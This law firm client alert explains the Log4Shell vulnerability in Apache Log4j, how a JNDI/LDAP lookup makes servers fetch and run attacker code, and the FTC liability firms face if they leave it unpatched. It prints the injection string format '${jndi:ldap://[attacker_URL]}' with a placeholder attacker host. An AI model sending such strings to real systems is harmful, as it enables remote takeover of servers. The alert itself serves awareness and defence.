Log4j is a Critical Threat

Pietragallo Gordon Alfano Bosick & Raspanti, LLP

Takeaway: Log4j, also known as the Log4Shell vulnerability, is a critical threat, and no organization should assume it is safe. Determining exposure to Log4j, and fixing vulnerabilities, should be a high priority for most security teams.


The Log4j exploit, also known as the Log4Shell vulnerability, allows threat actors to take control of web-facing servers by feeding them a malicious text string. It exists within Log4j, an open-source Apache library for logging errors and events in Java-based applications. Third-party logging solutions like Log4j are a common way for software developers to log data within an application without building a custom solution.[1]

The Log4Shell vulnerability is triggered by attackers inserting a Java Naming Directory Interface (JNDI) lookup in a header field (likely to be logged), which links to a malicious server. After Log4j logs this string, the server is queried and gives directory information leading to the download and execution of a malicious java data class. This means cybercriminals can both extract private keys and, depending on the level of defenses in place, download and run malware directly on impacted servers. In essence, the Log4Shell vulnerability allows hackers to remotely inject arbitrary code into a target network and assume complete control of it.

A technical look at Log4j

To understand the cyberattack sequence, it’s important to first define data log and understand how loggers operate. Data logging is the process of collecting and storing data over a period of time in order to analyze specific trends or record the data-based events/actions of a system, network, or IT environment. It enables the tracking of all interactions through which data, files, or applications are stored, accessed, or modified on a storage device or application.[2] Without a logger library like Log4j, information from servers is instantly archived after collection.[3]

But if logged data is actively analyzed, or if certain actions in response to specific log data are required, Java software developers may use a library like Log4j to parse logs before they’re archived.

Any business that uses a vulnerable Log4j library to parse log data in their backend systems is vulnerable to a Log4j cyberattack.

Again, the Log4Shell vulnerability allows hackers to remotely inject arbitrary code into a target network and assume complete control of it. Since Log4j is capable of executing code based on input, and because the vulnerability allows attackers to manipulate input data, the logger could be forced to execute malicious code.

So, when a vulnerable Log4j library has passed a specially crafted string it will call out to a Lightweight Directory Access Protocol server (LDAP), download the code hosted in the LDAP directory, and then execute that code. This allows cybercriminals to create a malicious LDAP server that stores code designed to take-over any server where it is executed, and then send applications, databases, or APIs the string that points to the malicious code. LDAP is usually coupled with JNDI- which allows you to store java objects in a remote location and serialize those objects. LDAP JNDI is the vector used to inject code into the victim’s server. The format looks like this…${jndi:ldap://[attacker_URL]}

Organizations of all types and sizes should actively manage exposure to loss due to the Log4Shell vulnerability. Doing so will not be easy. The Log4j program is present in so many applications that the sheer magnitude of the issue is unlike any other faced by IT and cybersecurity professionals. Despite that, Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Trade Commission (FTC) have made it clear that – in the event of a breach – failure to have addressed the vulnerability may result in FTC legal action.

However daunting the task, it’s worth noting that Section 5 of the FTC Act, which gives the FTC authority to investigate and penalize unfair methods of competition, engages a standard of reasonableness. That standard is likely satisfied by following ongoing guidance from CISA and implementing controls from The National Institute of Standards and Technology Cybersecurity Framework.

[1] https://www.upguard.com/blog/apache-log4j-vulnerability

[2] https://www.techopedia.com/definition/596/data-logging

[3] https://www.upguard.com/blog/apache-log4j-vulnerability

DISCLAIMER: Because of the generality of this update, the information provided herein may not be applicable in all situations and should not be acted upon without specific legal advice based on particular situations.

© Pietragallo Gordon Alfano Bosick & Raspanti, LLP | Attorney Advertising

Written by:

Pietragallo Gordon Alfano Bosick & Raspanti, LLP
Contact
more
less

Pietragallo Gordon Alfano Bosick & Raspanti, LLP on:

Reporters on Deadline

"My best business intelligence, in one easy email…"

Your first step to building a free, personalized, morning email brief covering pertinent authors and topics on JD Supra:
*By using the service, you signify your acceptance of JD Supra's Privacy Policy.
Custom Email Digest
- hide
- hide

This website uses cookies to improve user experience, track anonymous site usage, store authorization tokens and permit sharing on social media networks. By continuing to browse this website you accept the use of cookies. Click here to read more about how we use cookies.